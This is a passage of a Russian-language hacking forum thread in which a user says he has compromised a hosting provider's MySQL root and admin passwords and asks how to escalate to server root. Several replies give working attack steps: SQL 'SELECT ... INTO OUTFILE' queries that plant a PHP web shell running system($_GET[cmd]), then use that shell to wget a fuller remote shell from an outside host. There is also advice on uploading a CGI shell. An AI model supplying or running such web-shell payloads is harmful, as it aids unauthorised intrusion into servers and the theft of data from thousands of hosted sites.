Root MySQL

Discussion in 'PHP' started by Macro, 27 Nov 2006.

Page 1 of 2
  1. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Ребятишки, я вот взломал хостинг, там идиоты админы походу, есть у меня их пассы частично и рут к базе данных. Я могу получить рута на серваке?
     
    #1 Macro, 27 Nov 2006
    2 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    насчет рута хз, но шелл можешь.
    select 'web shell code' into outfile '/path_to_web_shell'
     
    #2 _Great_, 27 Nov 2006
  3. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Пасиб, попробую! А это будет root shell?
     
    #3 Macro, 27 Nov 2006
  4. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    #1064 - You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 :(
     
    #4 Macro, 27 Nov 2006
  5. N0n$e№Z

    N0n$e№Z Member

    Joined:
    27 Nov 2006
    Messages:
    16
    Likes Received:
    6
    Reputations:
    0
    SELECT '<? system($_GET[cmd]); ?>' INTO OUTFILE 'ЗДЕСЬ локальная ДИРЕКТОРИЯ В КоТОРУЮ ТЫ ХОЧЕШЬ ПОМЕСТИТЬ ШЕЛЛ'

    НЕзабудь про кавычки!Пример дириктории /www/site/users/htdocs/shell.php
     
    #5 N0n$e№Z, 27 Nov 2006
    Last edited: 27 Nov 2006
  6. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Попробую. Там явно phpmyadmin (который любезные администраторы предоставили) глючный.
    Я вот думаю, мне мучаться с root'ом, или нет? И так есть управление 2,5 тысячами сайтов :cool:
    И пароли администраторов... Правда, не все пароли.
     
    #6 Macro, 27 Nov 2006
  7. N0n$e№Z

    N0n$e№Z Member

    Joined:
    27 Nov 2006
    Messages:
    16
    Likes Received:
    6
    Reputations:
    0
    НУ это ты сам решай,а если так то удачи!
     
    #7 N0n$e№Z, 27 Nov 2006
  8. N0n$e№Z

    N0n$e№Z Member

    Joined:
    27 Nov 2006
    Messages:
    16
    Likes Received:
    6
    Reputations:
    0
    А еще!После того как ты выполнишь эту команду файл примет вид: shell.php,это командер!Чтобы залить полноценный шел надо сделать так!http://сайт/директория/shell.php?cmd=wget http://И адрес где лежит полноценный шелл!Можешь взять вот этот http://vrms.narod.ru/remview.php
     
    #8 N0n$e№Z, 27 Nov 2006
  9. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Если права поставлены правильно (а это так), то ничего не выйдет
     
    #9 Macro, 27 Nov 2006
  10. N0n$e№Z

    N0n$e№Z Member

    Joined:
    27 Nov 2006
    Messages:
    16
    Likes Received:
    6
    Reputations:
    0
    ЭТО ПЛОХО!0777 рулит!
     
    #10 N0n$e№Z, 27 Nov 2006
  11. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Ха-ха :)

    Это точно.

    Ну, сейчас у горе-хостера сервак лежит, не могу попробовать. А когда попробую - отпишусь
     
    #11 Macro, 27 Nov 2006
  12. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    666 тоже ничего =)
     
    #12 _Great_, 27 Nov 2006
  13. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    Заливай CGI шелл, у тебя будет шелл с правами root
     
    _________________________
    #13 TANZWUT, 27 Nov 2006
  14. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    имхо будут права mysql
     
    #14 pop_korn, 27 Nov 2006
  15. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    имхо будут права апача
     
    #15 _Great_, 27 Nov 2006
  16. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Имхо ничего не будет :) Не работает так через мускул. Все время жалуется на ошибку
     
    #16 Macro, 28 Nov 2006
  17. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    select '<?php system($_GET[cmd]); ?>' into outfile 'path_to_your_shell'
    не катит?
    Если пишет "access denied to user ...@...", то облом
     
    #17 _Great_, 28 Nov 2006
  18. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Пишет "You have an error in your mysql syntax on line 1 near ' ' ", что бы я не писал :) :confused:
    А вообще, оказалось, что кто-то до меня там уже что-то пытался сделать, т.к. я нашел там на одном из сайтов два руткита и три шелла. Однако, там стоят довольно отдаленные даты и не похоже, что у этого хакера что-то вышло.
    Я все никак не расшифрую пасс самого главного админа :(
    У же есть пароли 4-х главных администраторов
     
    #18 Macro, 28 Nov 2006
    Last edited: 28 Nov 2006
  19. gazta

    gazta Elder - Старейшина

    Joined:
    16 Oct 2005
    Messages:
    35
    Likes Received:
    3
    Reputations:
    -1
    люди скажите плз как при помощи MySQL-Front в бд шел сделать доступ и права на редактирование есть
     
    #19 gazta, 5 Dec 2006
  20. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    А попонятнее?
     
    #20 Macro, 5 Dec 2006
(You must log in or sign up to post here.)
Page 1 of 2